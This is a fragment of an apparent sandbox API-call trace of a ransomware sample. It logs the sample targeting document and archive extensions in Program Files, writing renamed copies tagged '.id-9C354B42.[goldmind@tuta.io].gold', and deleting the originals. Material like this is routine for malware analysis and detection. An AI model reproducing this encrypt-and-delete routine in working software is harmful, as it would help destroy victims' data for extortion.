dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.173] SetEndOfFile (hFile=0x38c) returned 1 [0116.174] CloseHandle (hObject=0x38c) returned 1 [0116.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico")) returned 1 [0116.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.176] lstrlenW (lpString=".doc") returned 4 [0116.176] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.176] lstrlenW (lpString=".docx") returned 5 [0116.176] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.176] lstrlenW (lpString=".pdf") returned 4 [0116.176] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.176] lstrlenW (lpString=".xls") returned 4 [0116.176] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.176] lstrlenW (lpString=".xlsx") returned 5 [0116.176] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.176] lstrlenW (lpString=".ppt") returned 4 [0116.176] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.176] lstrlenW (lpString=".zip") returned 4 [0116.176] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.176] lstrlenW (lpString=".rar") returned 4 [0116.176] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.176] lstrlenW (lpString=".bz2") returned 4 [0116.176] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.176] lstrlenW (lpString=".7z") returned 3 [0116.176] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.176] lstrlenW (lpString=".dbf") returned 4 [0116.176] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.176] lstrlenW (lpString=".1cd") returned 4 [0116.176] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.176] lstrlenW (lpString=".jpg") returned 4 [0116.176] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.176] lstrlenW (lpString=".doc") returned 4 [0116.176] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.176] lstrlenW (lpString=".docx") returned 5 [0116.176] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.176] lstrlenW (lpString=".pdf") returned 4 [0116.176] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.176] lstrlenW (lpString=".xls") returned 4 [0116.176] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.176] lstrlenW (lpString=".xlsx") returned 5 [0116.176] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.176] lstrlenW (lpString=".ppt") returned 4 [0116.177] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.177] lstrlenW (lpString=".zip") returned 4 [0116.177] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.177] lstrlenW (lpString=".rar") returned 4 [0116.177] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.177] lstrlenW (lpString=".bz2") returned 4 [0116.177] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.177] lstrlenW (lpString=".7z") returned 3 [0116.177] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.177] lstrlenW (lpString=".dbf") returned 4 [0116.177] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.177] lstrlenW (lpString=".1cd") returned 4 [0116.177] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0116.177] lstrlenW (lpString=".jpg") returned 4 [0116.177] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.177] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.177] lstrlenW (lpString="TASKACCS.ICO") returned 12 [0116.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.178] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2998) returned 1 [0116.178] CloseHandle (hObject=0x38c) returned 1 [0116.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico")) returned 0x20 [0116.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.178] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.178] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.179] GetLastError () returned 0x0 [0116.179] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0116.180] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0116.181] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.181] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.181] SetEndOfFile (hFile=0x188) returned 1 [0116.287] CloseHandle (hObject=0x188) returned 1 [0116.287] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.287] SetEndOfFile (hFile=0x38c) returned 1 [0116.289] CloseHandle (hObject=0x38c) returned 1 [0116.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico")) returned 1 [0116.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.290] lstrlenW (lpString=".doc") returned 4 [0116.290] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.291] lstrlenW (lpString=".docx") returned 5 [0116.291] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.291] lstrlenW (lpString=".pdf") returned 4 [0116.291] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString=".xls") returned 4 [0116.291] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString=".xlsx") returned 5 [0116.291] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.291] lstrlenW (lpString=".ppt") returned 4 [0116.291] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.291] lstrlenW (lpString=".zip") returned 4 [0116.291] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString=".rar") returned 4 [0116.291] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString=".bz2") returned 4 [0116.291] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.291] lstrlenW (lpString=".7z") returned 3 [0116.291] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.291] lstrlenW (lpString=".dbf") returned 4 [0116.291] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.291] lstrlenW (lpString=".1cd") returned 4 [0116.291] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.291] lstrlenW (lpString=".jpg") returned 4 [0116.291] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.291] lstrlenW (lpString=".doc") returned 4 [0116.291] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.291] lstrlenW (lpString=".docx") returned 5 [0116.291] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.291] lstrlenW (lpString=".pdf") returned 4 [0116.291] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString=".xls") returned 4 [0116.291] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString=".xlsx") returned 5 [0116.291] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.291] lstrlenW (lpString=".ppt") returned 4 [0116.291] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.291] lstrlenW (lpString=".zip") returned 4 [0116.291] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.291] lstrlenW (lpString=".rar") returned 4 [0116.292] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.292] lstrlenW (lpString=".bz2") returned 4 [0116.292] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.292] lstrlenW (lpString=".7z") returned 3 [0116.292] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.292] lstrlenW (lpString=".dbf") returned 4 [0116.292] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.292] lstrlenW (lpString=".1cd") returned 4 [0116.292] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0116.292] lstrlenW (lpString=".jpg") returned 4 [0116.292] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.292] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.292] lstrlenW (lpString="TASKDECL.ICO") returned 12 [0116.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 62 os_tid = 0x6a8 [0087.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x39d0958 [0087.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x39e0960 [0087.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541378 [0087.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x53f018 [0087.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5413c0 [0087.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3bd0020 [0087.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5413d8 [0087.164] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5413d8, Size=0x20) returned 0x55ea68 [0087.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5413d8 [0087.164] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5413d8, Size=0x20) returned 0x55ea90 [0087.164] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0087.164] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0087.164] Wow64DisableWow64FsRedirection (in: OldValue=0x315ff58 | out: OldValue=0x315ff58*=0x0) returned 1 [0087.164] lstrlenW (lpString="kernel32.dll") returned 12 [0087.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ea68 | out: hHeap=0x4f0000) returned 1 [0087.164] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0087.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ea90 | out: hHeap=0x4f0000) returned 1 [0087.164] Sleep (dwMilliseconds=0x64) [0087.353] Sleep (dwMilliseconds=0x64) [0087.587] Sleep (dwMilliseconds=0x64) [0087.733] Sleep (dwMilliseconds=0x64) [0088.001] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0088.001] lstrlenW (lpString="boxed-delete.avi") returned 16 [0088.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0088.099] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=31744) returned 1 [0088.099] CloseHandle (hObject=0x2a8) returned 1 [0088.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0088.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.100] lstrlenW (lpString=".doc") returned 4 [0088.100] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.100] lstrlenW (lpString=".docx") returned 5 [0088.100] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0088.100] lstrlenW (lpString=".pdf") returned 4 [0088.100] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.100] lstrlenW (lpString=".xls") returned 4 [0088.100] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.100] lstrlenW (lpString=".xlsx") returned 5 [0088.100] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0088.100] lstrlenW (lpString=".ppt") returned 4 [0088.100] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.100] lstrlenW (lpString=".zip") returned 4 [0088.100] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.100] lstrlenW (lpString=".rar") returned 4 [0088.100] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.100] lstrlenW (lpString=".bz2") returned 4 [0088.100] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.100] lstrlenW (lpString=".7z") returned 3 [0088.100] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.100] lstrlenW (lpString=".dbf") returned 4 [0088.100] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.100] lstrlenW (lpString=".1cd") returned 4 [0088.100] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.100] lstrlenW (lpString=".jpg") returned 4 [0088.100] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.100] lstrlenW (lpString=".doc") returned 4 [0088.101] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.101] lstrlenW (lpString=".docx") returned 5 [0088.101] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0088.101] lstrlenW (lpString=".pdf") returned 4 [0088.101] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.101] lstrlenW (lpString=".xls") returned 4 [0088.101] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.101] lstrlenW (lpString=".xlsx") returned 5 [0088.101] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0088.101] lstrlenW (lpString=".ppt") returned 4 [0088.101] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.101] lstrlenW (lpString=".zip") returned 4 [0088.101] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.101] lstrlenW (lpString=".rar") returned 4 [0088.101] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.101] lstrlenW (lpString=".bz2") returned 4 [0088.101] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.101] lstrlenW (lpString=".7z") returned 3 [0088.101] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.101] lstrlenW (lpString=".dbf") returned 4 [0088.101] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.101] lstrlenW (lpString=".1cd") returned 4 [0088.101] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0088.101] lstrlenW (lpString=".jpg") returned 4 [0088.101] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.101] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0088.101] lstrlenW (lpString="ipsita.xml") returned 10 [0088.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.906] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2526) returned 1 [0088.906] CloseHandle (hObject=0x38c) returned 1 [0088.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0088.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.906] lstrlenW (lpString=".doc") returned 4 [0088.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.906] lstrlenW (lpString=".docx") returned 5 [0088.906] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0088.906] lstrlenW (lpString=".pdf") returned 4 [0088.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.906] lstrlenW (lpString=".xls") returned 4 [0088.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString=".xlsx") returned 5 [0088.907] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0088.907] lstrlenW (lpString=".ppt") returned 4 [0088.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.907] lstrlenW (lpString=".zip") returned 4 [0088.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.907] lstrlenW (lpString=".rar") returned 4 [0088.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString=".bz2") returned 4 [0088.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString=".7z") returned 3 [0088.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.907] lstrlenW (lpString=".dbf") returned 4 [0088.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.907] lstrlenW (lpString=".1cd") returned 4 [0088.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.907] lstrlenW (lpString=".jpg") returned 4 [0088.907] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.907] lstrlenW (lpString=".doc") returned 4 [0088.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString=".docx") returned 5 [0088.907] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0088.907] lstrlenW (lpString=".pdf") returned 4 [0088.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString=".xls") returned 4 [0088.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString=".xlsx") returned 5 [0088.907] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0088.907] lstrlenW (lpString=".ppt") returned 4 [0088.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.907] lstrlenW (lpString=".zip") returned 4 [0088.907] 